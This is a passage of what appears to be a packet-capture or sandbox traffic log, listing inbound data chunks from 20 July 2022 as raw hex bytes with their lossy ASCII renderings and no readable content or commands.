e5 03 0d cb 04 9a 11 a8 33 5d 64 fd 30 eb 68 b4 16 d9 03 c7 b5 7a e3 6d b9 70 db ae ea 90 37 6e 93 32 24 46 ba f5 ae 31 bf 25 7a a7 e9 e3 dc 5a a9 34 4b df b3 70 1b 7c 8d b6 47 Data Ascii: V_2i%4#S~L+v}Mt.I:2FApY$b,QGrRc^D4U*v@Sp3hmJcI.D3'ZnXro9{CQ'!At[r.`3]d0hzmp7n2$F1%zZ4Kp\|G
2022-07-20 17:31:06 UTC	4553	IN	Data Raw: 28 28 40 99 c6 2f 8f 23 e2 e4 dd a6 bd fa 3f 20 bf bf 5b a2 d3 dd 4b be 90 55 00 6f 24 d7 a1 8f 1a e5 87 64 67 5e 45 69 e8 04 5c 28 c8 88 5d ab 1b 03 6b 15 89 9a 9e bf 59 c6 a9 19 be 46 31 72 cd f7 54 e5 12 76 ba 6b 70 7d a7 43 e5 98 d7 4c 16 ca 9c 16 fd bf 2b 99 eb b7 10 b1 0a 00 52 0d 36 9a 48 88 f8 80 70 9d 55 b5 23 e7 75 f8 0a bd ce 57 a3 40 54 ee 12 ed aa 81 99 5d 4d 62 27 c7 07 62 46 96 bb d1 eb f4 f3 29 f7 01 6d 0b 1d 8a c6 a9 b8 28 42 c0 10 44 7c 23 e5 8e d7 c7 e3 d8 9b 9a 6b e1 e2 3b 96 e4 3b f1 83 95 62 fd 81 84 a1 05 9c 09 a9 eb 1e 38 56 50 0e 3e 46 fc 7e 22 77 f9 6e d6 c3 5d 76 22 e3 2b 35 40 a2 78 cc 44 67 11 5c 48 93 ab 76 98 c9 e5 5e b9 71 af 2b 6c 5b 7b 65 b7 09 00 d3 4f ea 31 da 95 da e8 07 af 79 8f a6 9b 9d 4c 7a 86 7b 66 72 2c 35 91 48 Data Ascii: ((@/#? [KUo$dg^Ei\(]kYF1rTvkp}CL+R6HpU#uW@T]Mb'bF)m(BD\|#k;;b8VP>F~"wn]v"+5@xDg\Hv^q+l[{eO1yLz{fr,5H
2022-07-20 17:31:06 UTC	4569	IN	Data Raw: 5a 90 0a dd 35 2f e8 65 dc b0 cb ba ea a4 c6 4b 26 56 99 0d 64 8e 95 9f 8e 39 2d a2 69 b8 61 d4 15 0c e7 b1 f6 fa 65 58 47 71 af e6 c8 91 14 f9 e1 cb 3a ef b0 46 54 bf 2f 7b ba e5 a5 1b 43 34 b5 bd a2 68 b9 e7 5e 87 1d 12 75 e5 61 fc 97 88 13 5b 6e df a9 64 6e b8 a0 30 b8 09 06 a3 51 5d 0d 67 11 52 64 12 ab 11 e7 82 ad c7 bb 6e d8 85 ec 2e 60 15 ee 25 89 dc 6a 23 ca a6 30 16 54 23 48 73 9f 21 6b 44 f1 24 2b 6c 03 ee 02 00 6d b2 3b e4 d4 8a c0 c5 4e 09 6a 3a ea ca ad eb 76 c1 1c 44 25 ce e2 18 b6 73 a4 9d 04 53 12 b6 c8 f6 34 b5 fd 82 dc 5b 9c 67 17 6c a8 26 d2 31 3b 61 81 13 90 93 ad 67 2c 73 52 45 8c fd 3f 32 d6 ed da bb ff 00 e8 f3 24 ca bb 28 fc c2 ab 33 dc 32 8f 8c e1 d5 ec d4 97 4a ce 17 5f a9 4d 8d 60 5a dc ac 8e 90 a5 49 1d e0 93 00 99 14 31 01 48 Data Ascii: Z5/eK&Vd9-iaeXGq:FT/{C4h^ua[ndn0Q]gRdn.`%j#0T#Hs!kD$+lm;Nj:vD%sS4[gl&1;ag,sRE?2$(32J_M`ZI1H
2022-07-20 17:31:06 UTC	4585	IN	Data Raw: da 0b 3c 0a b5 20 00 04 91 06 49 90 2b 4c 08 83 45 e3 f7 fd 82 bb 2c 87 b5 b9 dc bb 4a 8a 09 60 08 35 12 60 d6 99 0f 1c 69 66 67 5c cc f8 fd 84 ae b2 0b a8 a5 9b 69 26 a7 a0 26 08 93 a9 cc 62 24 5a bc 78 eb a9 06 d3 5b 0d 6a ec 93 1d c0 93 b4 4d 68 73 07 cb 06 d5 17 15 b0 68 5a be c7 d3 1c 86 56 01 7b 41 00 99 63 db dc 06 53 d4 65 85 54 0f 80 b7 23 91 79 23 69 25 6d f7 18 34 a9 13 99 9a 68 72 c0 b1 a3 b4 a0 96 ee 16 d9 70 a8 d8 e5 b6 90 d0 76 8c 96 a7 29 e9 a6 15 59 9a 6d a6 ab 1f 5f 51 c6 bd 69 80 56 01 2b 50 01 99 19 18 9f e9 5c 8e 15 ed 8c 17 8e 89 36 dc fd 20 08 74 bf 6d 7d 43 72 08 2a 14 d3 69 04 69 ac c1 e9 82 ac cd 21 13 69 91 43 9b 77 1c 95 8d d1 40 48 59 00 0c a0 7f a9 9c 5a 5d bc 78 c0 2f 45 5c af 27 fa 8b f2 79 16 ee dd 72 ac 8c cc dd c0 54 03 Data Ascii: < I+LE,J`5`ifg\i&&b$Zx[jMhshZV{AcSeT#y#i%m4hrpv)Ym_QiV+P\6 tm}Cr*ii!iCw@HYZ]x/E\'yrT
2022-07-20 17:31:06 UTC	4593	IN	Data Raw: b0 90 60 91 11 15 13 00 93 18 35 91 d9 46 9f 1f e3 cc 4e ce cb 02 04 fa 72 48 60 d4 01 63 41 d0 ce 5a e3 47 68 f3 0d 6b 3e 41 6c a3 5f 71 79 8e d7 62 58 b3 30 5a 64 76 eb 23 3f c3 c2 56 bb 9c e8 75 9e d5 08 e6 e2 94 77 1c a6 25 99 2b 48 15 a2 1a 9d 01 13 d6 7e 38 eb 50 94 f7 e7 48 f1 fc 1c 16 f7 19 6d d9 ba 76 7a ad 21 9a 76 82 33 23 28 02 9e 79 62 de b2 87 48 b3 99 29 75 85 dd b7 2d 95 da 0e 45 23 ef 14 04 0f 99 39 78 e0 ae 49 c0 7d cd 8c 9e 2f 13 90 a5 92 ef a4 6d 49 dc 6a b4 33 49 89 07 4d 29 d7 0d 32 37 b5 cc f8 f8 89 8e 29 b3 6d 4d ad 9b 97 70 2b 4d c4 c8 05 b6 93 22 94 cf 12 c9 93 7a 7e 3c 48 43 c5 37 d9 5d c9 2c 06 d0 73 1b 20 02 57 21 4a c6 b2 31 53 82 5a b0 a7 52 6e db b5 69 59 cd c0 c6 5b 7b 9a 01 f9 40 19 54 46 a7 1c ec dc 9d 45 f7 7c a1 64 b2 Data Ascii: `5FNrH`cAZGhk>Al_qybX0Zdv#?Vuw%+H~8PHmvz!v3#(ybH)u-E#9xI}/mIj3IM)27)mMp+M"z~<HC7],s W!J1SZRniY[{@TFE\|d
2022-07-20 17:31:06 UTC	4609	IN	Data Raw: e3 03 07 96 38 57 0f 21 2d 06 ec a0 a3 6b 03 4f ba 44 ed c3 b2 da 89 5e 49 17 bb 76 e5 e1 b1 d0 13 68 f7 40 15 04 c9 c8 d7 2c fe 14 c4 af 73 ae e7 c6 3f 52 e1 c5 cd f6 d8 b5 b4 03 ed 5c f7 1c 81 e9 4c 24 f7 39 0d 71 d3 32 8b ed 0a 0a c4 3e e9 b9 03 77 dc 0e 72 42 9e 93 e3 e3 8a d6 42 db 6b e7 f8 9c 38 bc 86 2b bc b5 a2 4a b6 f5 15 96 a2 f7 13 30 31 1b c8 14 75 1b 6e 1d de 35 e0 c0 ee 28 18 c4 52 66 9d be 3e 07 3c 2b a9 34 4a 17 8f 42 0a 0b a8 6c b0 6d f7 26 49 24 50 2c d0 19 30 4f 8e 32 db 83 4a b7 57 f8 87 4b 76 e5 16 db 13 f6 91 04 05 51 3a c0 cc d2 9f d3 09 e8 67 55 d1 f7 0d c8 e1 28 22 ed bb bb c6 c5 2a 01 24 8a 66 64 c4 81 38 ed 54 a1 bf 6b c6 9e 34 32 79 16 6e 5b 67 b7 7b 79 30 0c 0a 13 11 b7 c7 2f 9e 05 5f 73 ac a3 28 ad eb d2 45 bb 68 4d b1 48 14 Data Ascii: 8W!-kOD^Ivh@,s?R\L$9q2>wrBBk8+J01un5(Rf><+4JBlm&I$P,0O2JWKvQ:gU("*$fd8Tk42yn[g{y0/_s(EhMH
2022-07-20 17:31:06 UTC	4625	IN	Data Raw: b5 0a 01 00 6e 1a c8 24 98 f0 f2 c5 9d a7 7f 60 be 9b 3c 10 2a f0 57 6e d1 5a c1 89 35 32 3c 72 38 ed ed 93 6a 41 cd 9b e2 c8 e3 b4 89 2c d2 80 c8 2c 2b 35 a4 91 06 bf 2c 76 c9 39 f2 2a f8 f1 a1 9b 71 91 0f a7 76 d1 57 48 2c ac 73 62 35 33 e1 89 b1 a0 be 45 ac 67 c7 86 77 1f dc 1e d4 b8 44 65 75 1b 81 1b 84 41 32 35 11 39 f4 c5 4a 34 26 f4 f5 1a e2 9b 37 e4 5e 20 22 09 95 14 04 91 33 90 f8 83 8e 79 1d 60 ab 5c e3 db b8 2d 71 c3 a0 00 db 56 60 15 80 1a 00 74 88 f9 cc 67 8e cd 4b 6e 39 d0 4e ca d8 da a6 da 90 d3 59 82 ac 41 cb ac 0a 67 89 53 92 9d 32 3d 7f 8f c5 5b 1e a7 1e e6 e7 72 18 a2 89 24 ea 3c c8 9d 46 3a 91 30 5e 46 e0 c4 b1 71 d6 e4 9d c4 a2 b9 5a e4 29 40 6b 02 33 06 a2 71 a5 ab 53 cf c7 c9 64 f3 a1 b5 6e e5 ad 8a 88 e5 19 89 35 39 2d 0d 6b 5f e2 Data Ascii: n$`<WnZ52<r8jA,,+5,v9qvWH,sb53EgwDeuA259J4&7^ "3y`\-qV`tgKn9NYAgS2=[r$<F:0^FqZ)@k3qSdn59-k_
2022-07-20 17:31:06 UTC	4629	IN	Data Raw: 59 d2 eb 8e e2 2e 6d 56 13 20 40 35 d2 69 40 64 e0 2c 9a c6 25 80 fd ab da 47 e4 14 37 2d a9 a9 b8 0e 42 04 ce ba 1e 93 5c 74 77 0d 79 27 09 49 36 6e 0b d6 ad fa c8 56 f0 72 ea cb 99 20 53 a8 20 4c fc 71 77 4e 05 4f fe 1c ae e7 ff d7 f0 76 39 22 d5 fd bc e5 0c c1 d2 e6 e2 01 dd e7 e0 de 63 cb 0f 8d 6e 9d 3f 8e c7 e5 b9 79 36 c2 7d f3 e5 d8 d6 bd 1b 6f da b0 10 d8 21 01 da 48 22 05 66 09 06 22 a0 c1 39 e3 6c 5b 08 ca 96 d8 de ed 1e 91 a8 f5 b5 b7 c2 e1 5c f7 26 5d cd 7c 3d 99 27 b9 0a c3 2b 08 d0 19 cf e7 88 d3 4e 30 4e 34 ac a4 f3 d6 76 3f 20 d9 6b fd c4 6e 2f 14 1d b3 0d 97 5f 1d 75 c6 b5 7d 14 9e 7b ae f1 e3 e0 08 b5 db 6c fc 50 77 5e 91 2d 31 25 48 a4 f9 d6 9f 4c 76 d0 de d2 b1 a9 7e 4d 8b b6 99 78 cc af b3 72 82 0c c2 98 cf ba 73 fc 31 d0 aa 3d b0 94 Data Ascii: Y.mV @5i@d,%G7-B\twy'I6nVr S LqwNOv9"cn?y6}o!H"f"9l[\&]\|='+N0N4v? kn/_u}{lPw^-1%HLv~Mxrs1=
2022-07-20 17:31:06 UTC	4645	IN	Data Raw: c2 08 dc bb 76 b1 33 db 50 d2 33 e9 ae 29 9a 91 20 15 15 ed 35 c2 c0 91 20 10 20 81 58 a1 8f 2a 12 69 88 f2 54 dd 41 ad f4 74 6e 43 a8 36 d7 71 03 6c 06 26 74 d2 ba 13 5a 0c 65 84 6b 55 3a 8c 2e eb 90 8a c1 ae 19 24 36 47 c0 c1 eb a4 4e 35 98 58 02 52 f2 5f 91 c6 bb 61 77 1d d0 c1 8e c0 01 20 05 10 08 91 00 4c d6 9f 1c 44 9d 91 6d 75 57 05 1f 8c 7f e4 b6 b0 c5 4b 00 05 0a e5 39 c0 34 cb 0a 03 75 3e 3a 80 bb 62 ea 01 73 ec 2a 54 80 09 62 35 31 1a eb 18 96 46 72 ac 75 d4 bc 81 9c 31 28 df 73 3b 41 90 34 39 8a 7c 30 96 34 13 b4 e3 1f 21 07 b0 b7 19 6d 5b 0e 2d b2 b1 da 4f 69 ac d0 fc 27 f0 c7 26 fb 40 2d 0b 32 15 fd a6 e5 ad cc a0 a1 2d 48 62 00 88 9c f4 3a 1f 0c 4b 71 25 94 f2 2e 3e 6b 59 c3 58 27 89 c7 ba 4a 70 b9 56 dd 94 ce c6 02 21 4f 50 63 e9 4f 3c 4f Data Ascii: v3P3) 5 XiTAtnC6ql&tZekU:.$6GN5XR_aw LDmuWK94u>:bsTb51Fru1(s;A49\|04!m[-Oi'&@-2-Hb:Kq%.>kYX'JpV!OPcO<O
2022-07-20 17:31:06 UTC	4661	IN	Data Raw: 91 56 24 54 ea 34 f1 c7 6d 83 b5 7e 40 c7 21 ad b2 f1 ed 4a 22 b0 04 54 30 33 4c bc 33 15 d6 71 20 56 7b 70 8e 5e 45 f5 75 2b 9e 64 7e 55 80 32 9f 85 24 62 a4 4d c1 db 94 ec 11 98 19 67 a4 1d 18 6a a0 e9 e6 70 e3 19 02 4f 54 18 5e b6 85 6c ec 26 64 02 0c 02 22 4e 63 e5 88 a0 36 b4 ea 27 c9 d8 ad b6 ca b6 e8 62 cd b8 44 6a d0 47 d6 30 8e a3 6f 0c 73 8e ad 70 2e 63 50 01 89 93 30 46 59 c6 24 c3 25 50 af 20 6e 8b 97 03 04 dc 65 7b 80 a0 f0 a1 1d 4e 23 73 a9 d4 ae dd 05 bd 5b 08 36 dd 33 da 09 63 f9 81 e9 e1 20 8f 2c f1 1b 47 43 60 5a e7 11 b2 69 1a 05 3b 63 49 88 19 62 cc 3c 0e 05 b9 17 5e c3 92 bb 99 df ec 62 49 5d c0 4d 46 40 09 35 18 eb d7 71 29 c9 d5 fc 7d 59 16 b9 5c 9b 8c 6d 2c ac 06 65 2a 37 18 cc 1d 26 83 59 d3 1d 84 72 6e 65 fa ff 00 1d 0d 75 fd 24 Data Ascii: V$T4m~@!J"T03L3q V{p^Eu+d~U2$bMgjpOT^l&d"Nc6'bDjG0osp.cP0FY$%P ne{N#s[63c ,GC`Zi;cIb<^bI]MF@5q)}Y\m,e*7&Yrneu$
2022-07-20 17:31:06 UTC	4665	IN	Data Raw: 82 c0 dc 0a a2 62 90 bf 10 48 00 c9 83 5e b4 c4 dd 98 d4 b7 58 9d 05 ad 72 ef 59 a5 f4 63 33 40 02 82 0d 60 9e bf c4 63 5d be 46 4e fd 24 d1 fd cd b6 b8 b7 44 a8 52 04 99 32 4f 42 33 23 19 ba b3 55 0b a9 a1 75 7f 78 59 56 61 4c 96 43 12 b9 9f b8 98 1a f8 41 18 b3 04 79 32 db 85 75 d9 ae 23 b0 50 0e e5 b9 2d 49 10 00 a6 b9 1c 34 cc ff 00 ae a0 2e f0 59 01 52 00 db f6 1e a0 d4 40 14 d4 81 fd 30 1b 81 f1 a9 78 fd 4b 0e 35 f2 9b 85 c3 16 f7 1b 72 46 46 9a e5 98 f9 e2 81 b6 fe 0f c8 e7 56 ed b5 70 a2 12 59 82 9c 88 dc 04 c0 f1 27 2c 15 59 34 dd 3d 35 c0 d7 1b 6a 37 ab 74 b5 c8 0d 4f 91 f3 91 15 c3 9e e0 db 1e 3f 1f 21 ee 15 cb 0e 80 2a ec 52 2a 37 0f ca 7a 0e b2 46 9e 78 8d e4 d2 a9 59 60 d1 6e 0d b3 4b 86 b6 d8 92 49 cb 2f 33 d7 5a f5 c4 5a 93 66 01 dc b5 12 Data Ascii: bH^XrYc3@`c]FN$DR2OB3#UuxYVaLCAy2u#P-I4.YR@0xK5rFFVpY',Y4=5j7tO?!R7zFxY`nKI/3ZZf
2022-07-20 17:31:06 UTC	4681	IN	Data Raw: 80 0e be 78 cd e0 da be e3 27 dc f9 76 2e 90 cb 69 f6 99 20 c5 68 60 c9 03 2f ae 12 c8 1d f6 b3 3b 90 16 e0 44 45 2a 37 12 16 56 54 4c 90 49 89 1f c7 4c 73 e3 2b e4 62 69 71 e4 5f 05 43 1e f0 7e d2 41 30 09 3a c9 a0 c2 83 1d d2 6a 71 f9 ce 05 cf 57 63 f7 0d c7 69 da 75 30 40 20 65 4c 16 24 97 51 bb 56 19 c9 fd ba 5b ba ac 65 89 20 11 19 41 1a 12 73 c6 3b dd 9c 33 d9 6e 0e 3b 2f 1f 87 e6 37 7f 81 b6 e0 2e 45 b7 86 80 a0 c6 c3 91 ff 00 5c 5e 4e 54 9c 22 57 fc 8e 24 ca 7f 6e 29 b2 e5 f8 09 21 58 6d ab 18 ed 34 1f 41 8d 66 74 30 87 4d 64 6e dd f6 f6 a6 0f ed f7 1d ed 90 97 08 d4 30 a3 2e d3 9c 13 9f f2 c7 9a e9 9e fe 0e 4a c4 cb 36 13 dd 2f df b6 11 20 06 24 02 1a a6 49 14 e8 c2 46 98 cb 73 93 df 29 a3 07 92 ca f7 1d d8 b1 73 25 b3 2a 48 58 02 6b 51 f0 9c 6d Data Ascii: x'v.i h`/;DE7VTLILs+biq_C~A0:jqWciu0@ eL$QV[e As;3n;/7.E\^NT"W$n)!Xm4Aft0Mdn0.J6/ $IFs)s%HXkQm
2022-07-20 17:31:06 UTC	4697	IN	Data Raw: 08 98 c5 b6 0c d5 b2 30 1d ee 28 17 20 80 76 82 4c 7d d5 11 3a 49 33 8e 4c bb 34 f3 ec be a0 c2 84 47 b6 57 75 82 40 dd 70 b0 12 7e 06 3a c8 f0 c5 a9 d6 72 ba eb dc 6a da 03 70 d8 bb 74 12 80 b0 33 04 ce 70 66 a3 58 cb 39 c6 6e f0 6b 1e d1 64 b1 65 8e db f0 ca 09 63 b5 49 83 1d 33 9a ff 00 7c 2a 99 c4 a8 f4 f9 f5 9f 22 c7 84 b7 d1 ad 25 a2 d2 01 5e d2 41 0c 45 7e 00 d7 1c a1 3c 8a cd f8 f1 ea 42 70 05 f6 09 cb 27 d2 52 c4 b0 14 a0 e8 3e 46 44 8d 30 9a ec 67 5b 63 dd db 3f 31 2b a5 18 b3 12 aa ac a2 76 b1 24 03 4a cc 45 0d 63 20 3c 71 04 09 dc a9 16 b7 64 40 00 81 04 6e ce 28 5a 47 53 d7 1c f2 2a b8 08 e8 5a eb a2 2a 80 c4 b4 48 88 3d d5 32 7e 14 88 8a 8c 14 e0 eb 53 76 81 78 7c ef 4e e5 d2 e7 72 0a 2b c6 d2 4a f4 22 90 6b 19 8c 56 e4 95 f6 e0 d3 5e 65 b7 Data Ascii: 0( vL}:I3L4GWu@p~:rjpt3pfX9nkdecI3\|"%^AE~<Bp'R>FD0g[c?1+v$JEc <qd@n(ZGSZ*H=2~Svx\|Nr+J"kV^e
2022-07-20 17:31:06 UTC	4704	IN	Data Raw: ac a3 a2 10 a5 cb 76 f8 e4 5f e4 92 5c b1 5a 89 1f 76 a4 78 08 19 e1 59 24 c9 47 81 cf dc 59 db 72 d7 aa 51 4f 74 03 da 76 c8 35 06 05 7e 93 8e 64 75 26 cf 25 19 b7 05 54 b2 f0 7a d6 a4 82 44 c0 a8 8c 45 c8 8e 74 63 0a 8b 22 e7 a8 1c 00 44 31 03 73 67 a8 c8 ce 7f 5c 46 fa af 1e a5 ad 3b f8 f4 29 6d ec 5c 64 9b 88 91 2a 40 25 66 33 cb ae 46 69 83 33 e3 71 da 78 da 69 5c b3 69 94 da b6 ea 02 01 b0 49 26 46 a3 cc 67 d6 98 d2 b8 15 d3 62 77 2d b3 16 1b 08 30 08 24 06 06 41 83 15 04 f8 0c b0 1a 92 24 a9 a8 b6 f5 58 da 8a 10 ee 00 d4 88 02 09 00 09 3e 58 ad c9 28 9f 40 56 6e da 7e eb 9b 09 04 19 13 b4 e9 97 90 f1 c7 44 16 6a b4 1a 57 e3 71 a3 8a e0 4f fb a6 90 a2 94 f3 d7 48 c1 c8 f4 52 cd 07 b0 89 de 02 8f 52 64 81 98 92 01 3f 5d 31 55 24 e7 ed 6f ca 1f d0 cf Data Ascii: v_\ZvxY$GYrQOtv5~du&%TzDEtc"D1sg\F;)m\d*@%f3Fi3qxi\iI&Fgbw-0$A$X>X(@Vn~DjWqOHRRd?]1U$o
2022-07-20 17:31:06 UTC	4720	IN	Data Raw: ec 26 fc 3b a0 05 4b 84 35 a6 20 82 c0 81 41 07 6c 56 83 01 58 e6 a5 c8 ef 16 d5 9e 40 0f fb 86 5b 8a 36 ed 51 40 57 4c b0 9e 42 f1 81 83 ed ca 96 db 7d c4 f4 c9 24 09 22 82 ac 07 9c d7 05 5c 55 e3 82 ed ed 8b 6b 6d dd 9b f6 e4 f0 35 fb 7a 8f b6 93 e1 8a dc 9d 54 e7 04 08 55 4b 4a 36 89 19 46 73 02 90 24 e9 3e 38 11 02 aa 6d 8c 35 a2 d6 c2 b8 60 14 4e e5 21 a4 e9 41 1d 7a e1 7f 63 a9 5d 7c f0 2b 77 8d 6d 48 20 b0 55 00 f6 b1 dc 27 48 26 33 ae 13 4a 32 67 56 dc 47 9f c3 d4 0d ce 26 eb 61 f8 a5 90 6e 2f 4e e9 93 10 63 fa f9 e0 d9 a4 87 b5 b7 fa 7e 7e 44 5d 57 b4 c6 e0 06 d8 01 43 30 34 13 13 33 4a 93 94 4f 8e 16 d4 8c be f3 d0 a3 b7 2d ca 25 bb b2 32 2a 26 0c 91 91 91 31 81 75 06 fc 6d f4 2a 2d 5c 93 72 e0 64 60 5e 7e ea b0 c8 c1 9a d0 01 1f 8e 2d 54 86 f6 Data Ascii: &;K5 AlVX@[6Q@WLB}$"\Ukm5zTUKJ6Fs$>8m5`N!Azc]\|+wmH U'H&3J2gVG&an/Nc~~D]WC043JO-%2&1um-\rd`^~-T
2022-07-20 17:31:06 UTC	4736	IN	Data Raw: 98 95 52 69 6b 67 01 03 07 6f 51 77 29 dd b4 91 24 01 15 8c ea 29 9e 5f 1c 54 a0 c6 ce 42 33 5b 1f 68 00 29 1b 17 ba 23 70 93 34 07 c3 4c 08 c9 a5 ef b5 12 59 6d ee 31 de 2e 10 a3 36 85 02 80 09 f8 46 7f 0c 6b 6c a0 d6 f2 2e 2f a3 2e d6 de ab 42 77 31 a8 19 00 08 07 2a fc b4 c6 4a 92 6a ae fa 0f d9 37 f9 05 05 a2 be 89 02 50 b0 20 93 49 f3 03 4d 33 c2 e3 5b 43 c9 ba d0 e7 e1 e4 18 58 37 5b 7b 2b c8 22 60 00 20 93 42 06 9e 31 38 a9 b3 ad 4c e4 66 e7 b2 f3 18 04 b7 6a 59 61 98 c9 19 9a d0 cc 00 3a e0 3a 31 fd c7 10 2d 73 db 79 2b 4d 97 57 b5 8a d6 93 9f c6 28 06 2a 44 bf bc 05 de 2f 32 c6 cb 97 c7 72 b2 05 17 14 05 31 00 d2 07 e0 71 5a 82 cb b6 1e 80 ac 81 c8 2b 66 f5 a2 42 83 1b e8 d4 f1 38 87 62 9f d3 4e a3 65 56 d1 56 61 05 44 a9 00 37 95 04 45 04 6a 62 Data Ascii: RikgoQw)$)_TB3[h)#p4LYm1.6Fkl./.Bw1Jj7P IM3[CX7[{+"` B18LfjYa::1-sy+MW(D/2r1qZ+fB8bNeVVaD7Ejb
2022-07-20 17:31:06 UTC	4744	IN	Data Raw: b9 9d c9 b6 6e 30 b3 c6 b4 d6 ac bb 9d ca a4 c0 2b 95 40 a1 6a 7c 8e 78 8c 49 ed f1 91 1b 76 b9 01 d2 d5 f0 5e d8 21 49 92 c4 79 6e 23 f0 f2 9c 56 a4 ce 7b 21 d1 69 ad 5c f5 59 83 5a 24 33 02 76 15 0b 11 00 91 4a f9 e0 23 5a bd bf 97 99 5b bc 96 b6 59 d9 76 db 72 62 26 82 bb 58 c4 0f 2f af 5c 57 58 0d ac ec 19 2f d9 75 1e 95 cd f2 24 4d 1a 46 b5 8d 28 4f 5a 60 37 23 5c 8d 63 28 29 f7 2b 36 a3 d3 3b 82 82 e9 06 01 34 cc 66 b1 51 e3 18 a9 b6 57 1d 67 e7 e3 d4 15 be 58 bc c8 6d 98 45 0a e7 71 34 83 13 00 75 a7 e3 8b 46 e6 49 77 99 1b bf cd d8 eb c7 4e f5 70 4f 6f da 44 d4 9f 91 13 f2 c5 b5 e5 87 6f 53 2b 99 eb df ba b6 ed 5b 2a a8 a6 d8 21 a6 49 a9 2c 67 f8 9c 65 69 35 ad 53 d0 a2 7b 8d e4 6d 9c a4 0f 66 dd 24 31 25 20 4f 59 99 c6 ce a6 2e e0 ad fb ba f1 db Data Ascii: n0+@j\|xIv^!Iyn#V{!i\YZ$3vJ#Z[Yvrb&X/\WX/u$MF(OZ`7#\c()+6;4fQWgXmEq4uFIwNpOoDoS+[*!I,gei5S{mf$1% OY.
2022-07-20 17:31:06 UTC	4760	IN	Data Raw: d4 df 40 4d b1 74 bc ed 25 46 ea 08 cc 0f 1a 53 c7 19 c1 b4 a4 8c ee 42 59 ef b7 7d 59 c8 21 03 0a 52 35 eb 9f 95 3c 31 2b 6c c1 79 29 19 40 d4 cb 1b cc 8c 97 ed ee dc 4e 9e 06 92 01 c8 65 8e 59 64 6e 33 e3 c3 2c 88 5a e1 29 bf 6d 24 15 cb 6d 20 93 94 79 e1 48 2b 46 9e ef 91 4e 51 f4 2d ae fd ed 7a e3 6d 65 1d cc 09 24 82 67 2f ef 80 cd 5c 25 02 af 70 29 55 58 0c d4 ee 78 93 f8 8f f7 54 c0 d7 09 30 5b 40 2d c8 0b 1b 8a b5 15 90 86 53 51 32 7e 3e 78 56 82 52 d1 e3 f0 28 f7 ef 6f 28 bb 37 9a 1d b4 34 33 d4 88 1f 1f 3c 0a d7 25 bd a1 0b 32 1b 37 e2 d3 6f 47 5d e5 73 d6 2a 75 d2 91 9e 39 f1 c3 93 97 23 88 34 ae 5f 5b d2 97 ee ba cc 12 b1 35 07 23 d6 0f 4c 26 90 77 be 9e 3c 75 1c 4d 8b b9 4b a3 ab 4a fd b1 20 52 6b 38 e6 bb 0d 3e e1 2e b5 a0 bb 2e a1 07 69 16 Data Ascii: @Mt%FSBY}Y!R5<1+ly)@NeYdn3,Z)m$m yH+FNQ-zme$g/\%p)UXxT0[@-SQ2~>xVR(o(743<%27oG]s*u9#4_[5#L&w<uMKJ Rk8>..i
2022-07-20 17:31:06 UTC	4776	IN	Data Raw: e5 94 00 42 18 9a 40 11 ac 6b 1a d7 09 7b 9c 16 21 4b 09 c8 b8 12 d2 ad 48 0b 10 01 30 04 d1 47 4a 8f 3e b8 ea b4 99 d6 7d 4a 7a 8f 69 df 90 51 4d d0 6a 76 90 41 26 93 5d 36 cf 99 23 12 b5 69 c8 b7 ce 23 f8 18 7b 80 96 e4 2d b2 8c 08 9d b3 2b ab 0c ab 59 8c 35 7c 19 3a 4b c1 7b 97 12 f5 c6 6e 31 66 2a 09 68 8d c2 00 1d c7 58 a7 f2 c0 59 37 4b 6a 96 13 8d be d4 3d d5 24 00 42 4b 0e e0 46 40 0c 8c 9a d3 09 a8 32 5e e1 f4 e6 a5 93 e8 f2 03 24 b3 4c 3c 1d a6 60 8f 2a f9 7d 31 2b 8c 89 a6 ff 00 31 83 7e 02 dc 2d 0c a6 07 fe 3b b2 e9 98 07 cb 3c 72 72 6a db 82 85 6c 5d da e0 12 c2 85 0c d4 4d 09 d3 31 8b b6 00 ad ba 7c 88 b9 c6 b6 cf ea 5d 50 8a 08 0e 56 9d b2 0d 1b 23 4d 06 73 8c 9d 53 35 a5 9c 06 5e 18 b9 6d d7 63 43 2c 9d cd 11 bb ff 00 94 18 a7 c0 62 d6 92 Data Ascii: B@k{!KH0GJ>}JziQMjvA&]6#i#{-+Y5\|:K{n1fhXY7Kj=$BKF@2^$L<`}1+1~-;<rrjl]M1\|]PV#MsS5^mcC,b
2022-07-20 17:31:06 UTC	4784	IN	Data Raw: ca f5 a1 f9 01 8b 5c 15 58 f4 3c 7e 43 f3 9c b2 72 00 2c 84 5c 19 89 51 11 07 2a 74 ce b8 4b 08 2d cb 33 19 dd 82 fe 56 06 14 83 50 28 64 7f 06 9d 31 15 f1 83 af 59 32 f9 1c cb 7b c2 82 77 ab 4d 66 b1 15 af d6 ba e5 89 58 7a 86 f5 c7 e1 fb 94 6b 68 db 9a d8 0a 45 58 11 e2 29 23 2c e9 e3 84 98 5d 57 4d 45 5d 5e d8 f4 40 2c 07 dc 13 38 26 82 80 d4 4f 96 78 e7 45 a9 77 5a ba 8b dc e0 dd e5 10 2e ba c0 66 24 a0 ce 32 11 07 53 a7 8e 16 d9 0b 6d 78 fa 7e 60 f8 a7 91 c1 6f 52 c2 ce d0 76 b9 55 8d a2 80 69 e3 4d 71 93 4f 43 6e 3b 46 71 e3 a0 3f 71 f7 6e 45 eb 67 91 68 59 ee 47 b6 15 57 6c 92 35 23 cb 5c 0f b3 19 34 5c ee ce 1c 47 e0 27 c5 17 ae a0 1c db 71 79 bd 39 2a 36 e4 37 6b a6 93 86 a4 c1 d9 7d 1f e2 69 1f 6e ca 68 02 aa f7 1e d1 5f 1e ba e9 8d 16 11 9b a2 Data Ascii: \X<~Cr,\QtK-3VP(d1Y2{wMfXzkhEX)#,]WME]^@,8&OxEwZ.f$2Smx~`oRvUiMqOCn;Fq?qnEghYGWl5#\4\G'qy967k}inh_
